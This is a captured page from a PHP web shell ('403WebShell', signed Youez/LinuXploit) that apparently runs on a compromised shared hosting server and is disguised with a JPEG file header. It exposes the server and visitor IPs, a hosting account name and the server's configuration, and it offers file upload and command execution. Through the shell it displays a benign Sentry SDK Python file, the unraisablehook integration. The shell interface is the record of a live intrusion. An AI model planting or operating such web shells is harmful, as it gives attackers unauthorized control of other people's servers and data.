ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.135
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib64/python3.12/site-packages/sentry_sdk/integrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib64/python3.12/site-packages/sentry_sdk/integrations//unraisablehook.py
import sys

import sentry_sdk
from sentry_sdk.utils import (
    capture_internal_exceptions,
    event_from_exception,
)
from sentry_sdk.integrations import Integration

from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from typing import Callable
    from typing import Any


class UnraisablehookIntegration(Integration):
    identifier = "unraisablehook"

    @staticmethod
    def setup_once():
        # type: () -> None
        sys.unraisablehook = _make_unraisable(sys.unraisablehook)


def _make_unraisable(old_unraisablehook):
    # type: (Callable[[sys.UnraisableHookArgs], Any]) -> Callable[[sys.UnraisableHookArgs], Any]
    def sentry_sdk_unraisablehook(unraisable):
        # type: (sys.UnraisableHookArgs) -> None
        integration = sentry_sdk.get_client().get_integration(UnraisablehookIntegration)

        # Note: If  we replace this with ensure_integration_enabled then
        # we break the exceptiongroup backport;
        # See: https://github.com/getsentry/sentry-python/issues/3097
        if integration is None:
            return old_unraisablehook(unraisable)

        if unraisable.exc_value and unraisable.exc_traceback:
            with capture_internal_exceptions():
                event, hint = event_from_exception(
                    (
                        unraisable.exc_type,
                        unraisable.exc_value,
                        unraisable.exc_traceback,
                    ),
                    client_options=sentry_sdk.get_client().options,
                    mechanism={"type": "unraisablehook", "handled": False},
                )
                sentry_sdk.capture_event(event, hint=hint)

        return old_unraisablehook(unraisable)

    return sentry_sdk_unraisablehook

Youez - 2016 - github.com/yon3zu
LinuXploit